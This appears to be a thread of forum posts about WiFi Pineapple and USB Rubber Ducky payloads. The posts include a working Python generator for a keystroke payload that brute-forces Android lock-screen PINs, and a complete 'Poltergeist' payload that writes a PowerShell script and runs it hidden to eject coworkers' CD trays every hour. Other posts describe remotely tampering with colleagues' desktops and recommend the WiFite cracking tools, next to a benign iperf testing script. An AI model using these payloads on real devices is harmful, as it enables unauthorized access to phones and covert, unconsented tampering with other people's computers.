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So I have been wanting to connect a USB Bluetooth adapter to the NANO so that I can send GPS data to war-drive from my phone. I have been following the instructions outlined here: http://blog.hackedexistence.com/?p=294 When I get to the point of adding the modules to the kernel specifically when I run "insmod ./rfcomm.ko" the Pineapple crashes and reboots. Any help would be much appreciated. Worst case I guess I could hook up a GPS module via FTDI, but I would like the wireless aspect of it.

You might want to take a look at WiFite. It comes installed on Kali 2.0 and it integrates with: Pixie Dust, Reaver, Aircrack, Pyrit, and CowPatty. https://github.com/derv82/wifite

If anyone is having problems with the bash script, I have written something similar in Python. I mostly use the Raspberry Pi to do all my encoding. This script will inject 20 of the most common pin codes first, and then brute force afterwards. #!/usr/bin/python defaultList = ['1234', '1111', '0000', '1212', '7777', '1004', '2000', '4444', '2222', '6969', '9999', '3333', '5555', '6666', '1122', '1313', '8888', '4321', '2001', '1010']; def main(): fileOpen = open("android_payload.txt", "w+") fileOpen.write("DELAY 5000\n") for x in defaultList: fileOpen.write("STRING %s\n" % x); fileOpen.write("ENTER\nDELAY 500\n") for w in range(0,10): for z in range(0,10): for y in range(0,10): for x in range(0,10): fileOpen.write("STRING %d%d%d%d\n" % (w,z,y,x)) if (x % 2) == 0: fileOpen.write("ENTER\n") fileOpen.write("ENTER\nDELAY 500\n") fileOpen.close() main()

Hello: Does anyone have any opinions and strategies for this upcoming change? http://blog.chromium.org/2014/09/gradually-sunsetting-sha-1.html

I tested this on a ASUS Windows 8.1 laptop and a Dell Optiplex with two disk drives. When it ran on the Optiplex it would eject both. Are your optical drives external? Also, I would adjust the if condition to something that would occur more often then at the start of every hour to troubleshoot. If you adjust the Start-Sleep -s 60 to something less than 60, it will check the time more often and possibly catch the correct run time. I use the Duckencode.jar to generate the bin file.

placeholder This payload will automatically eject all the CD trays to the target system at the beginning of every hour. The way I go about this is to create a powershell script from command line and then execute to as a background process with the "powershell -windowstyle hidden" command. I can see a lot of potential in having this run at startup, but I had a wave of mercy when I wrote the script. Enjoy REM Name: Poltergeist REM Author: theGANOUSH REM Purpose: To mess with my coworkers by forcing their CD drives to open at the start of every hour. REM The PowerShell code was found and modified from: http://powershell.com/cs/blogs/tips/archive/2009/04/24/ejecting-cds.aspx REM Open Command Prompt & Navigate to %temp% DELAY 5000 DELAY 10000 GUI r DELAY 300 STRING cmd.exe ENTER DELAY 300 STRING CD %temp% ENTER REM Create PowerShell Script STRING copy con Poltergeist.ps1 ENTER STRING Do ENTER STRING { ENTER STRING $minute = Get-Date -UFormat "%M" ENTER STRING If($minute -eq "00") ENTER STRING { ENTER STRING $Drives = Get-WmiObject Win32_Volume -Filter "DriveType=5" | select -exp DriveLetter ENTER STRING foreach($Drive in $Drives) ENTER STRING { ENTER STRING Invoke-Command -ScriptBlock { ENTER STRING param($Drive) ENTER STRING $Drive ENTER STRING $sa = New-Object -comObject Shell.Application ENTER STRING $sa.Namespace(17).parseName($Drive) ENTER STRING $sa.Namespace(17).ParseName("$Drive").InvokeVerb("Eject") ENTER STRING } -ArgumentList $Drive ENTER STRING } ENTER STRING } STRING Start-Sleep -s 60 ENTER STRING } ENTER STRING until(1 -gt 5) ENTER CONTROL z ENTER REM and execute for effect... STRING powershell -windowstyle hidden -file .\Poltergeist.ps1 ENTER

I have found it helpful to use TSTool3. It is a very powerful tool, that can allow you to remotely manage a computer. On occasion, my team noob's each other's desktop with it. You can find it here: http://gallery.technet.microsoft.com/scriptcenter/TSTool3-8bb4dc72

Sometimes you have to do a lot of network testing, and that can be a real pain if you have to sneaker-net the code everywhere. I have written the following script to using a network share with read and write permissions. DEFAULT_DELAY 75 DELAY 3000 GUI R DELAY 1000 STRING cmd.exe ENTER DELAY 500 REM Change directory to TEMP STRING CD %TEMP% ENTER DELAY 500 REM Copy files down from network share STRING xcopy "\\network_share\COPY_FILES\iperf" /i /Y ENTER DELAY 1000 REM Run Iperf with as needed switches and output to file STRING iperf.exe -c <IpaddressofServer> -w 8k > \\network_share\PERFORMANCE_FILES\IPERF\%username%-%computername%.txt ENTER